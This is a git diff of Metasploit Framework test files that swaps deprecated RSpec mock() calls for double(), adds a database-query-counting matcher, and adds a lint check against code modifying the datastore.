@namespace_module.stub(:parent_path=) @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) - metasploit_class = mock('Metasploit Class', :parent => @namespace_module) + metasploit_class = double('Metasploit Class', :parent => @namespace_module) @namespace_module.stub(:metasploit_class! => metasploit_class) subject.stub(:namespace_module_transaction).and_yield(@namespace_module) @@ -574,7 +574,7 @@ describe Msf::Modules::Loader::Base do context 'with metasploit_class' do let(:metasploit_class) do - mock('Metasploit Class') + double('Metasploit Class') end before(:each) do @@ -727,7 +727,7 @@ describe Msf::Modules::Loader::Base do anything ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -743,7 +743,7 @@ describe Msf::Modules::Loader::Base do anything ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -759,7 +759,7 @@ describe Msf::Modules::Loader::Base do described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -767,7 +767,7 @@ describe Msf::Modules::Loader::Base do end it "should set the namespace_module's module loader to itself" do - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.should_receive(:loader=).with(subject) @@ -1173,7 +1173,7 @@ describe Msf::Modules::Loader::Base do # not defined on `nil`. expect { subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - }.to_not raise_error(NoMethodError) + }.to_not raise_error end context 'with namespace_module nil' do @@ -1292,7 +1292,7 @@ describe Msf::Modules::Loader::Base do context '#usable?' do context 'without metasploit_class responding to is_usable' do it 'should return true' do - metasploit_class = mock('Metasploit Class') + metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) subject.send(:usable?, metasploit_class).should be_true @@ -1303,7 +1303,7 @@ describe Msf::Modules::Loader::Base do it 'should delegate to metasploit_class.is_usable' do # not a proper return, but guarantees that delegation is actually happening usability = 'maybe' - metasploit_class = mock('Metasploit Class', :is_usable => usability) + metasploit_class = double('Metasploit Class', :is_usable => usability) subject.send(:usable?, metasploit_class).should == usability end @@ -1314,7 +1314,7 @@ describe Msf::Modules::Loader::Base do end let(:metasploit_class) do - metasploit_class = mock('Metasploit Class') + metasploit_class = double('Metasploit Class') metasploit_class.stub(:is_usable).and_raise(error) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index d2c2539072..eb967951ac 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -10,7 +10,7 @@ describe Msf::Modules::Loader::Directory do include_context 'Msf::Modules::Loader::Base' let(:module_manager) do - mock('Module Manager') + double('Module Manager') end let(:module_path) do @@ -28,9 +28,9 @@ describe Msf::Modules::Loader::Directory do context '#load_module' do context 'with existent module_path' do let(:framework) do - framework = mock('Msf::Framework', :datastore => {}) + framework = double('Msf::Framework', :datastore => {}) - events = mock('Events') + events = double('Events') events.stub(:on_module_load) events.stub(:on_module_created) framework.stub(:events => events) diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index ecacde36a0..96eaf44a86 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -229,7 +229,7 @@ describe Msf::Modules::Namespace do it 'should not raise an error' do expect { subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error(Msf::Modules::VersionCompatibilityError) + }.to_not raise_error end end end diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 7e0fc62302..1a8d26b86b 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -5,12 +5,12 @@ require 'msf/core/option_container' describe Msf::OptionContainer do it "should create new options for it's args" do - foo_inst = mock("foo_inst") + foo_inst = double("foo_inst") foo_inst.stub(:advanced=) foo_inst.stub(:evasion=) foo_inst.stub(:owner=) - foo_class = mock("opt_class") + foo_class = double("opt_class") foo_class.should_receive(:new).and_return(foo_inst) foo_inst.should_receive(:name).and_return("thing") diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 2f0472b9a1..7bb3d98f8a 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -158,7 +158,7 @@ describe Msf::DBManager do let(:module_instance) do name = 'multi/handler' - mock( + double( 'Msf::Module', :fullname => "exploit/#{name}", :framework => framework, @@ -268,7 +268,7 @@ describe Msf::DBManager do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = mock('Normalized Host') + normalized_host = double('Normalized Host') db_manager.stub(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. db_manager.stub(:report_vuln) @@ -583,7 +583,7 @@ describe Msf::DBManager do context 'without Msf::Session' do let(:session) do - mock('Not a Msf::Session') + double('Not a Msf::Session') end it 'should raise ArgumentError' do diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1d690ee54d..800c5afc7d 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -108,7 +108,7 @@ describe Rex::Proto::Http::Client do end it "should send creds after receiving a 401" do - conn = mock + conn = double conn.stub(:put) conn.stub(:shutdown) conn.stub(:close) diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb new file mode 100644 index 0000000000..c7089c3ac9 --- /dev/null +++ b/spec/support/matchers/query_the_database.rb @@ -0,0 +1,108 @@ +module Shoulda # :nodoc: + module Matchers + module ActiveRecord # :nodoc: + + # Ensures that the number of database queries is known. Rails 3.1 or greater is required. + # + # Options: + # * when_calling - Required, the name of the method to examine. + # * with - Used in conjunction with when_calling to pass parameters to the method to examine. + # * or_less - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. + # + # Examples: + # it { should query_the_database(4.times).when_calling(:complicated_counting_method) + # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { should_not query_the_database.when_calling(:cached_count) + # + def query_the_database(times = nil) + QueryTheDatabaseMatcher.new(times) + end + + class QueryTheDatabaseMatcher # :nodoc: + def initialize(times) + @queries = [] + @options = {} + + if times.respond_to?(:count) + @options[:expected_query_count] = times.count + else + @options[:expected_query_count] = times + end + end + + def when_calling(method_name) + @options[:method_name] = method_name + self + end + + def with(*method_arguments) + @options[:method_arguments] = method_arguments + self + end + + def or_less + @options[:expected_count_is_maximum] = true + self + end + + def matches?(subject) + subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| + @queries << payload unless filter_query(payload) + end + + if @options[:method_arguments] + subject.send(@options[:method_name], *@options[:method_arguments]) + else + subject.send(@options[:method_name]) + end + + ActiveSupport::Notifications.unsubscribe(subscriber) + + if @options[:expected_count_is_maximum] + @queries.length <= @options[:expected_query_count] + elsif @options[:expected_query_count].present? + @queries.length == @options[:expected_query_count] + else + @queries.length > 0 + end + end + + def failure_message_for_should + if @options.key?(:expected_query_count) + "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + def failure_message_for_should_not + if @options[:expected_query_count] + "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + private + + def friendly_queries + @queries.map do |query| + "\n (#{query[:name]}) #{query[:sql]}" + end.join + end + + def filter_query(query) + query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) + end + + def schema_terms + ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] + end + + def looks_like_schema?(sql) + schema_terms.any? { |term| sql.include?(term) } + end + end + end + end +end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 3349297e16..385abe986d 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,6 +1,6 @@ shared_context 'Msf::UIDriver' do let(:driver) do - mock( + double( 'Driver', :framework => framework ).tap { |driver| diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index f364546412..964925675a 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -319,7 +319,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do context 'with :workspace' do let(:workspace) do - mock(':workspace') + double(':workspace') end before(:each) do @@ -469,7 +469,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do context 'specialization block' do let(:returned_hash) do { - :specialized => mock('Value') + :specialized => double('Value') } end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 6cf698dace..7644295942 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -21,7 +21,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do - migrations = [mock('Migration 1')] + migrations = [double('Migration 1')] ActiveRecord::Migrator.stub(:migrate => migrations) migrate.should == migrations @@ -128,7 +128,7 @@ shared_examples_for 'Msf::DBManager::Migration' do descendants = [] 1.upto(2) do |i| - descendants << mock("Descendant #{i}") + descendants << double("Descendant #{i}") end ActiveRecord::Base.stub(:descendants => descendants) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 1cb8b7c73d..189474d047 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -73,11 +73,11 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end let(:class_or_module) do - mock('Class or Module', :parent => namespace_module) + double('Class or Module', :parent => namespace_module) end let(:namespace_module) do - mock('Msf::Modules::Namespace', :parent_path => parent_path) + double('Msf::Modules::Namespace', :parent_path => parent_path) end context 'with existing :path' do @@ -435,7 +435,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'with reference_name' do before(:each) do - typed_module_set[reference_name] = mock('Msf::Module') + typed_module_set[reference_name] = double('Msf::Module') end it 'should not change reference_name value' do @@ -469,7 +469,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should reset #module_info_by_path' do # pre-fill module_info_by_path so change can be detected - module_manager.send(:module_info_by_path=, mock('In-memory Cache')) + module_manager.send(:module_info_by_path=, double('In-memory Cache')) module_info_by_path_from_database! diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 7cd9ea9f4a..c023b32d74 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -91,7 +91,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end let(:namespace_module) do - mock('Namespace Module', :parent_path => parent_path) + double('Namespace Module', :parent_path => parent_path) end let(:options) do diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 2057bdc169..15f704fe26 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -381,6 +381,11 @@ class Msftidy no_stdio = false error("Writes to stdout", idx) end + + # do not change datastore in code + if ln =~ /(?])/ + error("datastore is modified in code: #{ln.inspect}", idx) + end } end